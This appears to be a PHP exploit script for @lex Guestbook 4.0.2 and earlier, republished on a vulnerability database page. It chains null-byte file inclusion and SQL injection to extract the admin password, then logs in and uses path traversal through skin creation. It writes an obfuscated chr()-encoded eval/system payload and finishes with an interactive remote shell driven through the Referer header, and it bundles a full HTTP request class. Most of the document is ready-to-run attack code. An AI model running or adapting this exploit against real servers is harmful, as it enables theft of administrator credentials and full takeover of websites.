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@lex Guestbook <= 4.0.2 Remote Command Execution Exploit
#!/usr/bin/php
<?php
/*/
|
| header> @lex Guestbook <= 4.0.2 Remote Command Execution Exploit
| header> ========================================================
| status> Retrieving the administrator password
| sploit> AdminUsername::root
| sploit> AdminPassword::toor
| status> Trying to get logged in
| sploit> Done
| status> Trying to add a skin
| sploit> Done
| status> Writing the malicious skin
| $shell> whoami
| darkfig
|
| $shell> cat /etc/passwd ...
|
/*/
if($argc < 2)
{
print "\n---------------------------------------------------------";
print "\nAffected.scr..: @lex Guestbook <= 4.0.2"; // last version
print "\nPoc.ID........: 20070107";
print "\nType..........: PHP Code Execution";
print "\nRisk.level....: High";
print "\nSrc.download..: www.alexphpteam.com";
print "\nPoc.link......: acid-root.new.fr/poc/20070107.txt";
print "\nCredits.......: DarkFig";
print "\n---------------------------------------------------------";
print "\nUsage.........: php xpl.php <url>";
print "\nProxyOptions..: <proxhost:proxport> <proxuser:proxpass>";
print "\nExample.......: php xpl.php http://victim.com/@lexgb/";
print "\n---------------------------------------------------------\n";
exit(1);
}
$url=$argv[1];
$prs=$argv[2];
$pra=$argv[3];
$xpl = new phpsploit();
$xpl->agent("Sploitzilla");
if(!empty($prs)) $xpl->proxy($prs);
if(!empty($pra)) $xpl->proxyauth($pra);
/*/
|
| index.php
| =========
| ... include($chem_absolu."include/livre_include.".$alex_livre_ext);
|
|
| livre_include.php -> Local File Inclusion
| =================
| ... set_magic_quotes_runtime(0); // thx =)
| ... if (isset($_GET['lang']) && $_GET['lang'] && file_exists($chem_absolu."languages/".$_GET['lang'].".".$alex_livre_ext))
| $f_language = str_replace("..","",$_GET['lang']); // We can't use .... because of file_exists() verification but ... =]
| include($chem_absolu."languages/".$f_language.".".$alex_livre_ext);
|
|
| index.php -> SQL Injection
| =========
| ... sql_select_query("msg", "alex_livre_txt_lang", "WHERE lang='".$f_language."' and `type`='titre'");
| // "SELECT msg FROM `alex_livre_txt_lang` WHERE lang='$f_language' and type=`titre`
|
/*/
$sql = "index.php?lang=english.php%00'%20union%20select%20".
"concat('XPLLogin:',(select%20login%20from%20alex_livr".
"e_users%20LIMIT%201),'XPLPass:',(select%20pass%20from".
"%20alex_livre_users%20LIMIT%201))/*";
print "\nheader> @lex Guestbook <= 4.0.2 Remote Command Execution Exploit";
print "\nheader> ========================================================";
print "\nstatus> Retrieving the administrator password";
$xpl->get($url.$sql);
if(preg_match('#<div class="d_title">XPLLogin:(.*)XPLPass:(.*)</div>#',$xpl->getcontent(),$count))
print "\nsploit> AdminUsername::".$count[1]."\nsploit> AdminPassword::".$count[2];
else die("\nsploit> Exploit failed");
print "\nstatus> Trying to get logged in";
$xpl->post($url."admin/index.php","f_login=".$count[1]."&f_pass=".$count[2]."&f_identif=Identification");
if(preg_match("#f_cadres\.php\?f_sid=([a-z0-9]{32})#",$xpl->getheader(),$sid)) print "\nsploit> Done";
else die("\nsploit> Exploit failed");
print "\nstatus> Trying to add a skin";
// skins.php ... @mkdir($chem_absolu."templates/skins/".$_POST['aj_skin']."/", 0755)
$xpl->post($url."admin/skins.php?f_sid=".$sid[1],"aj_skin=../../languages/d4h4x0rskin&ajouter=Ajouter");
if(!preg_match('#alert\("ERREUR\n#',$xpl->getcontent())) print "\nsploit> Done";
else die("\nsploit> Exploit failed");
$scode = "chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d).".
"chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70).".
"chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).".
"chr(0x73).chr(0x28).chr(0x24).chr(0x5f).chr(0x53).chr(0x45).".
"chr(0x52).chr(0x56).chr(0x45).chr(0x52).chr(0x5b).chr(0x27).".
"chr(0x48).chr(0x54).chr(0x54).chr(0x50).chr(0x5f).chr(0x52).".
"chr(0x45).chr(0x46).chr(0x45).chr(0x52).chr(0x45).chr(0x52).".
"chr(0x27).chr(0x5d).chr(0x29).chr(0x29).chr(0x3b)";
$data = "skin_edit=skins.php%3Ff_sid%3D".$sid[1]."%26skin_edit".
"%3D../../languages/d4h4x0rskin&alex_livre=<?php\r\n@e".
"val($scode);exit(0);\r\n?>&add_message=&nb_message_pa".
"ge=&list_pages=&corps_messages=&space=&assembly=&enre".
"gistrer=Enregistrer";
print "\nstatus> Writing the malicious skin\n\$shell> ";
// skins.php ... write($chem_absolu."templates/skins/".$_GET['skin_edit']."/".$tab_template_guestbook[$i])
$xpl->post($url."admin/skins.php?skin_edit=../../languages/d4h4x0rskin&f_sid=".$sid[1],$data);
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
$xpl->addheader("Referer",$cmd);
$xpl->get($url."index.php?lang=d4h4x0rskin/alex_livre.css%00");
print $xpl->getcontent();
print "\n\$shell> ";
}
class phpsploit {
/**
* This function is called by the get()/post() functions.
* You don't have to call it, this is the main function.
*
* @return $server_response
*/
private function sock()
{
if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
else $socket = fsockopen($this->host,$this->port);
if(!$socket) die("Error: The host doesn't exist");
if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
elseif($this->method==="post") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
else die("Error: Invalid method");
if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
$this->packet .= "Host: ".$this->host."\r\n";
if(!empty($this->agent)) $this->packet .= "User-Agent: ".$this->agent."\r\n";
if(!empty($this->header)) $this->packet .= $this->header."\r\n";
if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
$this->packet .= "Connection: Close\r\n";
if($this->method==="post")
{
$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data."\r\n";
}
$this->packet .= "\r\n";
$this->recv = '';
fputs($socket,$this->packet);
while(!feof($socket)) $this->recv .= fgets($socket);
fclose($socket);
if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
if($this->allowredirection) return $this->allowredirection($this->recv);
else return $this->recv;
}
/**
* This function allows you to add several cookie in the
* request. Several methods are supported:
*
* $this->addcookie("name","value");
* or
* $this->addcookie("name=newvalue");
* or
* $this->addcookie("othername=overvalue; xx=zz; y=u");
*
* @param string $cookiename
* @param string $cookievalue
*
*/
public function addcookie($cookn,$cookv='')
{
// $this->addcookie("name","value"); work avec replace
if(!empty($cookv))
{
if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
if(!empty($this->cookie))
{
if(preg_match("/$cookn=/",$this->cookie))
{
$this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
}
else
{
$this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
}
}
else
{
$this->cookie = $cookn."=".$cookv.";";
}
}
// $this->addcookie("name=value; othername=othervalue");
else
{
if(!empty($this->cookie))
{
$cookn = preg_replace("/(.*);$/","$1",$cookn);
$cookarr = explode(";",str_replace(" ", "",$cookn));
for($i=0;$i<count($cookarr);$i++)
{
preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
$cookn = $matches[1];
$cookv = $matches[2];
$this->addcookie($cookn,$cookv);
}
}
else
{
$cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
$this->cookie = $cookn;
}
}
}
/**
* This function allows you to add several headers in the
* request. Several methods are supported:
*
* $this->addheader("headername","headervalue");
* or
* $this->addheader("headername: headervalue");
*
* @param string $headername
* @param string $headervalue
*/
public function addheader($headern,$headervalue='')
{
// $this->addheader("name","value");
if(!empty($headervalue))
{
if(!empty($this->header))
{
if(preg_match("/$headern:/",$this->header))
{
$this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
}
else
{
$this->header .= "\r\n".$headern.": ".$headervalue;
}
}
else
{
$this->header=$headern.": ".$headervalue;
}
}
// $this->addheader("name: value");
else
{
if(!empty($this->header))
{
$headarr = explode(": ",$headern);
$headern = $headarr[0];
$headerv = $headarr[1];
$this->addheader($headern,$headerv);
}
else
{
$this->header=$headern;
}
}
}
/**
* This function allows you to use an http proxy server.
* Several methods are supported:
*
* $this->proxy("proxyip","8118");
* or
* $this->proxy("proxyip:8118")
*
* @param string $proxyhost
* @param integer $proxyport
*/
public function proxy($proxy,$proxyp='')
{
// $this->proxy("localhost:8118");
if(empty($proxyp))
{
preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
$proxh = $proxarr[1];
$proxp = $proxarr[2];
$this->proxyhost=$proxh;
$this->proxyport=$proxp;
}
// $this->proxy("localhost",8118);
else
{
$this->proxyhost=$proxy;
$this->proxyport=intval($proxyp);
}
if($this->proxyport > 65535) die("Error: Invalid port number");
}
/**
* This function allows you to use an http proxy server
* which requires a basic authentification. Several
* methods are supported:
*
* $this->proxyauth("darkfig","dapasswd");
* or
* $this->proxyauth("darkfig:dapasswd");
*
* @param string $proxyuser
* @param string $proxypass
*/
public function proxyauth($proxyauth,$proxypasse='')
{
// $this->proxyauth("darkfig:password");
if(empty($proxypasse))
{
preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
$proxu = $proxautharr[1];
$proxp = $proxautharr[2];
$this->proxyuser=$proxu;
$this->proxypass=$proxp;
}
// $this->proxyauth("darkfig","password");
else
{
$this->proxyuser=$proxyauth;
$this->proxypass=$proxypasse;
}
}
/**
* This function allows you to set the "User-Agent" header.
* Several methods are possible to do that:
*
* $this->agent("Mozilla Firefox");
* or
* $this->addheader("User-Agent: Mozilla Firefox");
* or
* $this->addheader("User-Agent","Mozilla Firefox");
*
* @param string $useragent
*/
public function agent($useragent)
{
$this->agent=$useragent;
}
/**
* This function returns the header which will be
* in the next request.
*
* $this->showheader();
*
* @return $header
*/
public function showheader()
{
return $this->header;
}
/**
* This function returns the cookie which will be
* in the next request.
*
* $this->showcookie();
*
* @return $storedcookies
*/
public function showcookie()
{
return $this->cookie;
}
/**
* This function returns the last formed
* http request (the http packet).
*
* $this->showlastrequest();
*
* @return $last_http_request
*/
public function showlastrequest()
{
return $this->packet;
}
/**
* This function sends the formed http packet with the
* GET method. You can precise the port of the host.
*
* $this->get("http://localhost");
* $this->get("http://localhost:888/xd/tst.php");
*
* @param string $urlwithpath
* @return $server_response
*/
public function get($url)
{
$this->target($url);
$this->method="get";
return $this->sock();
}
/**
* This function sends the formed http packet with the
* POST method. You can precise the port of the host.
*
* $this->post("http://localhost/index.php","admin=1&user=dark");
*
* @param string $urlwithpath
* @param string $postdata
* @return $server_response
*/
public function post($url,$data)
{
$this->target($url);
$this->method="post";
$this->data=$data;
return $this->sock();
}
/**
* This function returns the content of the server response
* without the headers.
*
* $this->getcontent($this->get("http://localhost/"));
* or
* $this->getcontent();
*
* @param string $server_response
* @return $onlythecontent
*/
public function getcontent($code='')
{
if(empty($code)) $code = $this->recv;
$content = explode("\n",$code);
$onlycode = '';
for($i=1;$i<count($content);$i++)
{
if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
if($ok) $onlycode .= $content[$i]."\n";
}
return $onlycode;
}
/**
* This function returns the headers of the server response
* without the content.
*
* $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
* or
* $this->getheader();
*
* @param string $server_response
* @return $onlytheheaders
*/
public function getheader($code='')
{
if(empty($code)) $code = $this->recv;
$header = explode("\n",$code);
$onlyheader = $header[0]."\n";
for($i=1;$i<count($header);$i++)
{
if(!preg_match("/^(\S*):/",$header[$i])) break;
$onlyheader .= $header[$i]."\n";
}
return $onlyheader;
}
/**
* This function is called by the cookiejar() function.
* It adds the value of the "Set-Cookie" header in the "Cookie"
* header for the next request. You don't have to call it.
*
* @param string $server_response
*/
private function getcookie($code)
{
$carr = explode("\n",str_replace("\r\n","\n",$code));
for($z=0;$z<count($carr);$z++)
{
if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
{
$cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
}
}
for($i=0;$i<count($cookie);$i++)
{
preg_match("/(\S*)=(\S*);/",$cookie[$i],$matches);
$cookn = $matches[1];
$cookv = $matches[2];
$this->addcookie($cookn,$cookv);
}
}
/**
* This function is called by the get()/post() functions.
* You don't have to call it.
*
* @param string $urltarg
*/
private function target($urltarg)
{
if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
$this->url=$urltarg;
$array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
$this->host=$array[0];
preg_match("/:(\d+)\//",$urltarg,$matches);
$this->port=empty($matches[1]) ? 80 : $matches[1];
$temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
preg_match("/\/(.*)\//",$temp,$matches);
$this->path=str_replace("//","/","/".$matches[1]."/");
if($this->port > 65535) die("Error: Invalid port number");
}
/**
* If you call this function, the script will
* extract all "Set-Cookie" headers values
* and it will automatically add them into the "Cookie" header
* for all next requests.
*
* $this->cookiejar(1); // enabled
* $this->cookiejar(0); // disabled
*
*/
public function cookiejar($code)
{
if($code===0) $this->cookiejar='';
if($code===1) $this->cookiejar=1;
else
{
$this->getcookie($code);
}
}
/**
* If you call this function, the script will
* follow all redirections sent by the server.
*
* $this->allowredirection(1); // enabled
* $this->allowredirection(0); // disabled
*
* @return $this->get($locationresponse)
*/
public function allowredirection($code)
{
if($code===0) $this->allowredirection='';
if($code===1) $this->allowredirection=1;
else
{
if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
{
$location = str_replace(chr(13),'',$codearr[2]);
if(!eregi("://",$location))
{
return $this->get("http://".$this->host.$this->path.$location);
}
else
{
return $this->get($location);
}
}
else
{
return $code;
}
}
}
/**
* This function allows you to reset some parameters:
*
* $this->reset(header); // headers cleaned
* $this->reset(cookie); // cookies cleaned
* $this->reset(); // clean all parameters
*
* @param string $func
*/
public function reset($func='')
{
switch($func)
{
case "header":
$this->header='';
break;
case "cookie":
$this->cookie='';
break;
default:
$this->cookiejar='';
$this->header='';
$this->cookie='';
$this->allowredirection='';
$this->agent='';
break;
}
}
}
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10 Jan 2007 00:00Current
7.1High risk
Vulners AI Score7.1